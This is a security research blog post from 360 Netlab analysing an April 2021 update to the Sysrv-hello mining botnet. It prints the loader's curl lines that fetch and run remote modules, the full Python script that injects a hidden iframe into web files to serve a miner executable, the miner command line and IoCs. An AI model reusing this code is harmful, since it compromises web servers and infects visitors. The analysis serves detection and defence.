sysrv

Threat Alert: New update from Sysrv-hello, now infecting victims' webpages to push malicious exe to end users

LIU Ya, YANG XU, jinye

Apr 29, 2021 • 3 min read

Overview

From the end of last year to now, we have see the uptick of the mining botnet families. While new families have been popping up, some old ones are get frequently updated. Our BotMon system has recently reported about the [rinfo] [zominer]. And the latest case comes from Sysrv-hello. Two security companies have recently analyzed the new variant of the family [1][2], but we noticed sysrv's author pushed a new update on April 20, adding a new infection method, injecting malicious script into the html page and infecting users when they visit the compromised webpage.

New modules of a.py and BrowserUpdate.exe

We know that sysrv can infect both Linux and Windows systems, and its entry is a script file, a bash script under Linux, the most common file name is ldr.sh, and a PowerShell script ldr.ps1 under Windows. We noticed this new update only targets the Linux ldr.sh, which adds the following code:

```
curl $cc/BrowserUpdate.exe > /tmp/BrowserUpdate.exe
curl $cc/a.py > /tmp/a.py
python /tmp/a.py &
nohup python /tmp/a.py 1>/dev/null 2>&1 &
```

You can see that 2 new modules were added: a.py and BrowserUpdate.exe, where a.py will be executed directly by ldr.sh.

The a.py file is a Python program, with only 20 lines of code.

```
import os
d = "<iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>"
for _dir in ["/var", "/usr/local", "/home", "/opt"]:
    for root, dirs, files in os.walk(_dir):
        for i in files:
            path = os.path.join(root, i)
            if os.path.splitext(path)[1] not in [".html", ".php", ".htm", ".jsp", ".a
                continue
            try:
                with open(path) as f:
                    data = f.read()
                    if (d in data) or ("<head>" not in data):
                        continue
                with open(path, "w") as f:
                    f.write(data.replace("<head>", "<head>"+d))#+'<script async="asyn
            except:
                continue
            dst = os.path.join(root, "BrowserUpdate.exe")
            os.system("cp -rf /tmp/BrowserUpdate.exe '%s'" % dst)
os.system("rm -rf /tmp/BrowserUpdate.exe")
```

The function of this code is to go through the directories of `"/var", "/usr/local", "/home"` and `"/opt"` on the infected machine, looking for web files with `".html", ".php", ".htm", ".jsp", ".asp"` or `".tpl"` suffixes, and inserting an iframe code into them once found.

```
<head><iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>
```

So, if someone visits the modified web page, the BrowserUpdate.exe will be downloaded, here let's take a look at this exe file.

BrowserUpdate.exe is a PE32 program packed with UPX. VT scan results show that it is a malicious program of CoinMiner. The exe will release two 64-bit PE files:

```
CreateFileW("C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\ModuleInstaller.exe", 0x4000000
CreateFileW("C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\WinRing0x64.sys", 0x40000000, 0
```

Then BrowserUpdate.exe will call the two files using the following command.

```
cmd /c \"%TEMP%\\ModuleInstaller.exe\" --coin monero --donate-level 0 -o xmr-eu2.nan
```

The above command will start mining activity with the assigned pool and wallet. Actually the released exe and sys belong to a set of xmrig suite, with ModuleInstaller.exe as the main program which loads WinRing0x64.sys driver. There have been reports about them by other vendors.

Summary

Through the above analysis, it is easy to see that this update of Sysrv-hello is mainly to improve the propagation ability, besides making the compromised linux machine a mining host, by injecting malicious code into the webservers' html pages, it could potentially infect visiting users on Windows platform.
Considering that sysrv has been going through several updates, we expect that there might be more actions coming. We will keep an eye on it.

Contact us

Readers are always welcomed to reach us on **twitter**, or email to netlab[at]360.cn.

IoC

MD5

```
833822feda97936d690ff6b983ad1a87  ldr.sh
645647171d92e1fe289b63bbd2f2db86  a.py
048aa5b804cde0768111c633e0faa028  BrowserUpdate.exe
a7013a2c7fd3a6168a7c0d9eed825c32  MODULEINSTALLER.EXE
0c0195c48b6b8582fa6f6373032118da  WINRING0X64.SYS
```

URL

```
http://194.145.227.21/ldr.sh
http://194.145.227.21/a.py
http://194.145.227.21/BrowserUpdate.exe
http://194.145.227.21/sys.i686
```

miner pool and wallet

```
pool: xmr-eu2.nanopool.org:14444
wallet: 41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4
```


Botnet

sysrv

— 360 Netlab Blog - Network Security Research Lab at 360 —

sysrv

威胁快讯：Sysrv-hello再次升级，通过感染网页文件提高传播能力

1 post →

“双头龙”源自海莲花组织?

我们的双头龙blog发布后引起了较大反响，除了媒体转载，一些安全同行还纷纷在我们blog下面留言和提问，其中5月4号的一则留言提到双头龙跟海莲花（OceanLotus）样本的C2行为有联系： 留言所提到的样本为一个zip打包文件，2016年就已出现。该zip可以解压出多个文件，那个名为Noi dung chi tiet（对应中文详细信息）的Mach-O格式可执行文件即是...

May 6, 2021 · 6 min read

威胁快讯：Sysrv-hello再次升级，通过感染网页文件提高传播能力

版权 版权声明: 本文为Netlab原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。 概述 从去年末到现在，挖矿类型的botnet家族一直活跃，除了新家族不断出现，一些老家族也频繁升级，主要是为了提高传播能力和隐蔽性，我们的 BotMon 系统对此多有检测[rinfo][z0miner]。最新的案例来自Sysrv-hello，本来近期已经有2家安全公司...

Apr 28, 2021 · 4 min read